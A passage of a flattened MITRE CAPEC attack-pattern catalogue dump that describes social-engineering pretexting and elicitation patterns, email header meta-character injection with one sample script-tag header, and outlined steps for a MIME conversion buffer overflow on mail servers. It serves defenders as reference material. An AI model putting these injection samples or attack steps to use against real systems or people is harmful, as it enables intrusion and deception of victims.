Related_Attack_Pattern_21759 + + + + + + + + + + + + + + 416 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern21760 + Related_Attack_Pattern_21760 + + + + + + + + + + + + + + 410 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern21761 + Related_Attack_Pattern_21761 + + + + + + + + + + + + + + 163 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary must have the means and knowledge of how to communicate with the target in some manner.The adversary must have knowledge of the pretext that would influence the actions of the specific target.</xhtml:div> + + + + + + + + + + + + #indSkillSkill21767 + Skill_21767 + + + + + + + + + + + + + + The adversary requires strong inter-personal and communication skills. + + + + + + + + + + + + #indConsequenceConsequence21770 + Consequence_21770 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Depending on the adversary's intentions and the specific nature their actions/requests, a successful pretexting attack can result in the compromise to the confidentiality of sensitive information in a variety of contexts.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An organization should provide regular, robust cybersecurity training to its employees to prevent successful social engineering attacks.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary dresses up like a jogger and runs in place by the entrance of a building, pretending to look for their access card. Because the hood obscures their face, it may be possible to solicit someone inside the building to let them inside.</xhtml:div> + + + + + + + + + + + + #indTaxonomyMappingGatherVictimIdentityInformation + Gather Victim Identity Information + + + + + + + + + + + + + + 1589 + + + + + Gather Victim Identity Information + + + + + + + + + + + + #indReferenceReference21789 + Reference_21789 + + + + + + + + + REF-348 + + + + + + + + + + + + #indContentHistoryContentHistory21791 + Content_History_21791 + + + + + + + + + + + + + + + + #indSubmissionSubmission21792 + Submission_21792 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification21797 + Modification_21797 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Attack_Motivation-Consequences, Attack_Prerequisites, Attacker_Skills_or_Knowledge_Required, Description Summary, Examples-Instances, Methods_of_Attack, Related_Attack_Patterns, Solutions_and_Mitigations, Typical_Likelihood_of_Exploit + + + + + + + + + + + + #indModificationModification21803 + Modification_21803 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification21809 + Modification_21809 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-02-22 + + + + + Updated Description, Extended_Description + + + + + + + + + + + + #indModificationModification21815 + Modification_21815 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName21821 + Previous_Entry_Name_21821 + + + + + + + + + 2017-08-04 + + + + + Social Information Gathering via Pretexting + + + + + + + + + + + + #CAPEC-408 + DEPRECATED: Information Gathering from Traditional Sources + + + + + + + + + 408 + + + + + DEPRECATED: Information Gathering from Traditional Sources + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This attack pattern has been deprecated as it was deemed not to be a legitimate attack pattern. Please refer to CAPEC-118 : Collect and Analyze Information.</xhtml:div> + + + + + + + + + + + + #indContentHistoryContentHistory21828 + Content_History_21828 + + + + + + + + + + + + + + + + #indSubmissionSubmission21829 + Submission_21829 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification21834 + Modification_21834 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Description Summary, Related_Attack_Patterns, Typical_Severity + + + + + + + + + + + + #indModificationModification21840 + Modification_21840 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Description Summary, References + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName21846 + Previous_Entry_Name_21846 + + + + + + + + + 2017-08-04 + + + + + Information Gathering from Traditional Sources + + + + + + + + + + + + #CAPEC-409 + DEPRECATED: Information Gathering from Non-Traditional Sources + + + + + + + + + 409 + + + + + DEPRECATED: Information Gathering from Non-Traditional Sources + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This attack pattern has been deprecated as it was deemed not to be a legitimate attack pattern. Please refer to CAPEC-118 : Collect and Analyze Information.</xhtml:div> + + + + + + + + + + + + #indContentHistoryContentHistory21853 + Content_History_21853 + + + + + + + + + + + + + + + + #indSubmissionSubmission21854 + Submission_21854 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification21859 + Modification_21859 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Description Summary, Related_Attack_Patterns, Typical_Severity + + + + + + + + + + + + #indModificationModification21865 + Modification_21865 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Description Summary, References + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName21871 + Previous_Entry_Name_21871 + + + + + + + + + 2017-08-04 + + + + + Information Gathering from Non-Traditional Sources + + + + + + + + + + + + #CAPEC-41 + Using Meta-characters in E-mail Headers to Inject Malicious Payloads + + + + + + + + + 41 + + + + + Using Meta-characters in E-mail Headers to Inject Malicious Payloads + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This type of attack involves an attacker leveraging meta-characters in email headers to inject improper behavior into email programs. Email software has become increasingly sophisticated and feature-rich. In addition, email applications are ubiquitous and connected directly to the Web making them ideal targets to launch and propagate attacks. As the user demand for new functionality in email applications grows, they become more like browsers with complex rendering and plug in routines. As more email functionality is included and abstracted from the user, this creates opportunities for attackers. Virtually all email applications do not list email header information by default, however the email header contains valuable attacker vectors for the attacker to exploit particularly if the behavior of the email client application is known. Meta-characters are hidden from the user, but can contain scripts, enumerations, probes, and other attacks against the user's system.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern21882 + Related_Attack_Pattern_21882 + + + + + + + + + + + + + + 242 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern21883 + Related_Attack_Pattern_21883 + + + + + + + + + + + + + + 134 + + + + + + + + + + + + #indAttackStepAttackStep21886 + Attack_Step_21886 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Identify and characterize metacharacter-processing vulnerabilities in email headers] An attacker creates emails with headers containing various metacharacter-based malicious payloads in order to determine whether the target application processes the malicious content and in what manner it does so.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use an automated tool (fuzzer) to create malicious emails headers containing metacharacter-based payloads.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Manually tampering email headers to inject malicious metacharacter-based payload content in them.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep21893 + Attack_Step_21893 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attacker leverages vulnerabilities identified during the Experiment Phase to inject malicious email headers and cause the targeted email application to exhibit behavior outside of its expected constraints.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Send emails with specifically-constructed, metacharacter-based malicious payloads in the email headers to targeted systems running email processing applications identified as vulnerable during the Experiment Phase.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This attack targets most widely deployed feature rich email applications, including web based email programs.</xhtml:div> + + + + + + + + + + + + #indSkillSkill21904 + Skill_21904 + + + + + + + + + + + + + + To distribute email + + + + + + + + + + + + #indConsequenceConsequence21907 + Consequence_21907 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Run Arbitrary Code</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Design: Perform validation on email header data</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: Implement email filtering solutions on mail server or on MTA, relay server.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: Mail servers that perform strict validation may catch these attacks, because metacharacters are not allowed in many header variables such as dns names</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3" style="margin-left:1em;" class="informative"&gt;To:&amp;lt;someone@example.com&amp;gt;&lt;xhtml:br&gt;&lt;/xhtml:br&gt;From:&amp;lt;badguy@example.com&amp;gt;&lt;xhtml:br&gt;&lt;/xhtml:br&gt;Header&amp;lt;SCRIPT&amp;gt;payme&amp;lt;/SCRIPT&amp;gt;def: whatever&lt;/xhtml:div&gt; + </xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Meta-characters are among the most valuable tools attackers have to deceive users into taking some action on their behalf. E-mail is perhaps the most efficient and cost effective attack distribution tool available, this has led to the phishing pandemic.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Meta-characters like \\w \\s \\d ^ can allow the attacker to escape out of the expected behavior to execute additional commands. Escaping out the process (such as email client) lets the attacker run arbitrary code in the user's process.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + 150 + + + + + 88 + + + + + 697 + + + + + + + + + + + + #indReferenceReference21935 + Reference_21935 + + + + + + + + + REF-1 + + + + + + + + + + + + #indContentHistoryContentHistory21937 + Content_History_21937 + + + + + + + + + + + + + + + + #indSubmissionSubmission21938 + Submission_21938 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification21943 + Modification_21943 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indModificationModification21949 + Modification_21949 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Example_Instances + + + + + + + + + + + + #CAPEC-410 + Information Elicitation + + + + + + + + + 410 + + + + + Information Elicitation + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary engages an individual using any combination of social engineering methods for the purpose of extracting information. Accurate contextual and environmental queues, such as knowing important information about the target company or individual can greatly increase the success of the attack and the quality of information gathered. Authentic mimicry combined with detailed knowledge increases the success of elicitation attacks.</xhtml:div> + + + + + + + + + + + + + + + + + #indReferenceReference21961 + Reference_21961 + + + + + + + + + REF-348 + + + + + + + + + + + + #indContentHistoryContentHistory21963 + Content_History_21963 + + + + + + + + + + + + + + + + #indSubmissionSubmission21964 + Submission_21964 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification21969 + Modification_21969 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Description Summary + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName21975 + Previous_Entry_Name_21975 + + + + + + + + + 2017-08-04 + + + + + Information Elicitation via Social Engineering + + + + + + + + + + + + #CAPEC-411 + DEPRECATED: Pretexting + + + + + + + + + 411 + + + + + DEPRECATED: Pretexting + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This attack pattern has been deprecated as it is a duplicate of the existing attack pattern "CAPEC-407 : Social Information Gathering via Pretexting". Please refer to this other CAPEC going forward.</xhtml:div> + + + + + + + + + + + + #indContentHistoryContentHistory21980 + Content_History_21980 + + + + + + + + + + + + + + + + #indSubmissionSubmission21981 + Submission_21981 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification21986 + Modification_21986 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Description Summary, References, Related_Attack_Patterns, Typical_Severity + + + + + + + + + + + + #CAPEC-412 + Pretexting via Customer Service + + + + + + + + + 412 + + + + + Pretexting via Customer Service + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary engages in pretexting behavior, assuming the role of someone who works for Customer Service, to solicit information from target persons, or manipulate the target into performing an action that serves the adversary's interests. One example of a scenario such as this would be to call an individual, articulate your false affiliation with a credit card company, and then attempt to get the individual to verify their credit card number.</xhtml:div> + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern21999 + Related_Attack_Pattern_21999 + + + + + + + + + + + + + + 407 + + + + + 513 + + + + + + + + + + + + #indReferenceReference22004 + Reference_22004 + + + + + + + + + REF-348 + + + + + + + + + + + + #indContentHistoryContentHistory22006 + Content_History_22006 + + + + + + + + + + + + + + + + #indSubmissionSubmission22007 + Submission_22007 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification22012 + Modification_22012 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Description Summary + + + + + + + + + + + + #indModificationModification22018 + Modification_22018 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-09-30 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #CAPEC-413 + Pretexting via Tech Support + + + + + + + + + 413 + + + + + Pretexting via Tech Support + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary engages in pretexting behavior, assuming the role of a tech support worker, to solicit information from target persons, or manipulate the target into performing an action that serves the adversary's interests. An adversary who uses social engineering to impersonate a tech support worker can have devastating effects on a network. This is an effective attack vector, because it can give an adversary physical access to network computers. It only takes a matter of seconds for someone to compromise a computer with physical access. One of the best technological tools at the disposal of a social engineer, posing as a technical support person, is a USB thumb drive. These are small, easy to conceal, and can be loaded with different payloads depending on what task needs to be done. However, this form of attack does not require physical access as it can also be effectively carried out via phone or email.</xhtml:div> + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern22031 + Related_Attack_Pattern_22031 + + + + + + + + + + + + + + 407 + + + + + 513 + + + + + + + + + + + + #indReferenceReference22036 + Reference_22036 + + + + + + + + + REF-348 + + + + + + + + + + + + #indContentHistoryContentHistory22038 + Content_History_22038 + + + + + + + + + + + + + + + + #indSubmissionSubmission22039 + Submission_22039 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification22044 + Modification_22044 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Description Summary + + + + + + + + + + + + #indModificationModification22050 + Modification_22050 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-09-30 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #CAPEC-414 + Pretexting via Delivery Person + + + + + + + + + 414 + + + + + Pretexting via Delivery Person + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary engages in pretexting behavior, assuming the role of a delivery person, to solicit information from target persons, or manipulate the target into performing an action that serves the adversary's interests. Impersonating a delivery person is an effective attack and an easy attack since not much acting is involved. Usually the hardest part is looking the part and having all of the proper credentials, papers and "deliveries" in order to be able to pull it off.</xhtml:div> + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern22063 + Related_Attack_Pattern_22063 + + + + + + + + + + + + + + 407 + + + + + 513 + + + + + + + + + + + + #indReferenceReference22068 + Reference_22068 + + + + + + + + + REF-348 + + + + + + + + + + + + #indContentHistoryContentHistory22070 + Content_History_22070 + + + + + + + + + + + + + + + + #indSubmissionSubmission22071 + Submission_22071 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification22076 + Modification_22076 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Description Summary + + + + + + + + + + + + #indModificationModification22082 + Modification_22082 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-09-30 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #CAPEC-415 + Pretexting via Phone + + + + + + + + + 415 + + + + + Pretexting via Phone + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary engages in pretexting behavior, assuming some sort of trusted role, and contacting the targeted individual or organization via phone to solicit information from target persons, or manipulate the target into performing an action that serves the adversary's interests. This is the most common social engineering attack. Some of the most commonly effective approaches are to impersonate a fellow employee, impersonate a computer technician or to target help desk personnel.</xhtml:div> + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern22094 + Related_Attack_Pattern_22094 + + + + + + + + + + + + + + 407 + + + + + 513 + + + + + + + + + + + + #indReferenceReference22099 + Reference_22099 + + + + + + + + + REF-348 + + + + + + + + + + + + #indContentHistoryContentHistory22101 + Content_History_22101 + + + + + + + + + + + + + + + + #indSubmissionSubmission22102 + Submission_22102 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification22107 + Modification_22107 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Description Summary + + + + + + + + + + + + #indModificationModification22113 + Modification_22113 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-09-30 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #CAPEC-416 + Manipulate Human Behavior + + + + + + + + + 416 + + + + + Manipulate Human Behavior + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary exploits inherent human psychological predisposition to influence a targeted individual or group to solicit information or manipulate the target into performing an action that serves the adversary's interests. Many interpersonal social engineering techniques do not involve outright deception, although they can; many are subtle ways of manipulating a target to remove barriers, make the target feel comfortable, and produce an exchange in which the target is either more likely to share information directly, or let key information slip out unintentionally. A skilled adversary uses these techniques when appropriate to produce the desired outcome. Manipulation techniques vary from the overt, such as pretending to be a supervisor to a help desk, to the subtle, such as making the target feel comfortable with the adversary's speech and thought patterns.</xhtml:div> + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary must have the means and knowledge of how to communicate with the target in some manner.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence22129 + Consequence_22129 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Attack patterns that manipulate human behavior can result in a wide variety of consequences and potentially affect the confidentiality, availability, and/or integrity of an application or system.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An organization should provide regular, robust cybersecurity training to its employees to prevent successful social engineering attacks.</xhtml:div> + + + + + + + + + + + + #indReferenceReference22141 + Reference_22141 + + + + + + + + + REF-348 + + + + + + + + + + + + #indContentHistoryContentHistory22143 + Content_History_22143 + + + + + + + + + + + + + + + + #indSubmissionSubmission22144 + Submission_22144 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification22149 + Modification_22149 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-05-01 + + + + + Updated Attack_Motivation-Consequences, Attack_Prerequisites, Description Summary, Methods_of_Attack, Solutions_and_Mitigations, Typical_Likelihood_of_Exploit + + + + + + + + + + + + #indModificationModification22155 + Modification_22155 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Attack_Motivation-Consequences, Description Summary, Solutions_and_Mitigations, Typical_Likelihood_of_Exploit, Typical_Severity + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName22161 + Previous_Entry_Name_22161 + + + + + + + + + 2017-08-04 + + + + + Target Influence via Social Engineering + + + + + + + + + + + + #CAPEC-417 + Influence Perception + + + + + + + + + 417 + + + + + Influence Perception + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary uses social engineering to exploit the target's perception of the relationship between the adversary and themselves. This goal is to persuade the target to unknowingly perform an action or divulge information that is advantageous to the adversary.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern22169 + Related_Attack_Pattern_22169 + + + + + + + + + + + + + + 416 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary must have the means and knowledge of how to communicate with the target in some manner.</xhtml:div> + + + + + + + + + + + + #indSkillSkill22175 + Skill_22175 + + + + + + + + + + + + + + The adversary requires strong inter-personal and communication skills. + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">There are no necessary resources required for this attack.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence22181 + Consequence_22181 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Attacks that influence the perception of the target can result in a wide variety of consequences and negatively affect potentially the confidentiality, availability, and/or integrity of an application or system.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An organization should provide regular, robust cybersecurity training to its employees to prevent social engineering attacks.</xhtml:div> + + + + + + + + + + + + #indReferenceReference22193 + Reference_22193 + + + + + + + + + REF-348 + + + + + + + + + + + + #indReferenceReference22194 + Reference_22194 + + + + + + + + + REF-360 + + + + + + + + + + + + #indContentHistoryContentHistory22196 + Content_History_22196 + + + + + + + + + + + + + + + + #indSubmissionSubmission22197 + Submission_22197 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification22202 + Modification_22202 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Attack_Motivation-Consequences, Attack_Prerequisites, Attacker_Skills_or_Knowledge_Required, Description Summary, Methods_of_Attack, References, Resources_Required, Solutions_and_Mitigations, Typical_Likelihood_of_Exploit + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName22208 + Previous_Entry_Name_22208 + + + + + + + + + 2017-08-04 + + + + + Target Influence via Perception of Reciprocation + + + + + + + + + + + + #CAPEC-418 + Influence Perception of Reciprocation + + + + + + + + + 418 + + + + + Influence Perception of Reciprocation + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary uses a social engineering techniques to produce a sense of obligation in the target to perform a certain action or concede some sensitive or key piece of information. Obligation has to do with actions one feels they need to take due to some sort of social, legal, or moral requirement, duty, contract, or promise. There are various techniques for fostering a sense of obligation to reciprocate or concede during ordinary modes of communication. One method is to compliment the target, and follow up the compliment with a question. If performed correctly the target may volunteer a key piece of information, sometimes involuntarily.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern22217 + Related_Attack_Pattern_22217 + + + + + + + + + + + + + + 417 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary must have the means and knowledge of how to communicate with the target in some manner.</xhtml:div> + + + + + + + + + + + + #indSkillSkill22223 + Skill_22223 + + + + + + + + + + + + + + The adversary requires strong inter-personal and communication skills. + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">None: No specialized resources are required to execute this type of attack.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence22229 + Consequence_22229 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Attacks that influence the perception of the target can result in a wide variety of consequences and negatively affect potentially the confidentiality, availability, and/or integrity of an application or system.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An organization should provide regular, robust cybersecurity training to its employees to prevent social engineering attacks.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary develops a relationship with the target to foster a feeling of obligation in them to perform a certain action or concede some information. A perception of obligation/concession means that the target feels they need to behave in some way or perform some sort of action due to being morally or legally bound to do so.</xhtml:div> + + + + + + + + + + + + #indReferenceReference22244 + Reference_22244 + + + + + + + + + REF-348 + + + + + + + + + + + + #indReferenceReference22245 + Reference_22245 + + + + + + + + + REF-360 + + + + + + + + + + + + #indContentHistoryContentHistory22247 + Content_History_22247 + + + + + + + + + + + + + + + + #indSubmissionSubmission22248 + Submission_22248 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification22253 + Modification_22253 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Attack_Motivation-Consequences, Attack_Prerequisites, Attacker_Skills_or_Knowledge_Required, Description Summary, Examples-Instances, Methods_of_Attack, References, Resources_Required, Solutions_and_Mitigations, Typical_Likelihood_of_Exploit, Typical_Severity + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName22259 + Previous_Entry_Name_22259 + + + + + + + + + 2017-08-04 + + + + + Target Influence via Perception of Obligation + + + + + + + + + + + + #CAPEC-419 + DEPRECATED: Target Influence via Perception of Concession + + + + + + + + + 419 + + + + + DEPRECATED: Target Influence via Perception of Concession + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This attack pattern has been deprecated as it was deemed not to be a legitimate pattern.</xhtml:div> + + + + + + + + + + + + #indContentHistoryContentHistory22266 + Content_History_22266 + + + + + + + + + + + + + + + + #indSubmissionSubmission22267 + Submission_22267 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification22272 + Modification_22272 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Description Summary, References, Related_Attack_Patterns, Typical_Severity + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName22278 + Previous_Entry_Name_22278 + + + + + + + + + 2017-08-04 + + + + + Target Influence via Perception of Concession + + + + + + + + + + + + #CAPEC-42 + MIME Conversion + + + + + + + + + 42 + + + + + MIME Conversion + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attacker exploits a weakness in the MIME conversion routine to cause a buffer overflow and gain control over the mail server machine. The MIME system is designed to allow various different information formats to be interpreted and sent via e-mail. Attack points exist when data are converted to MIME compatible format and back.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern22286 + Related_Attack_Pattern_22286 + + + + + + + + + + + + + + 100 + + + + + + + + + + + + #indAttackStepAttackStep22289 + Attack_Step_22289 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Identify target mail server] The adversary identifies a target mail server that they wish to attack.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use Nmap on a system to identify a mail server service.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep22295 + Attack_Step_22295 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Determine viability of attack] Determine whether the mail server is unpatched and is potentially vulnerable to one of the known MIME conversion buffer overflows (e.g. Sendmail 8.8.3 and 8.8.4).</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep22300 + Attack_Step_22300 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Find injection vector] Identify places in the system where vulnerable MIME conversion routines may be used.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep22305 + Attack_Step_22305 + + + + + + + + + 4 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Craft overflow content] The adversary crafts e-mail messages with special headers that will cause a buffer overflow for the vulnerable MIME conversion routine. The intent of this attack is to leverage the overflow for execution of arbitrary code and gain access to the mail server machine, so the adversary will craft an email that not only overflows the targeted buffer but does so in such a way that the overwritten return address is replaced with one of the adversary's choosing.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Create malicious shellcode that will execute when the program execution is returned to it.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a NOP-sled in the overflow content to more easily "slide" into the malicious code. This is done so that the exact return address need not be correct, only in the range of all of the NOPs</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep22312 + Attack_Step_22312 + + + + + + + + + 4 + + + + + + + + + + <xhtml:div 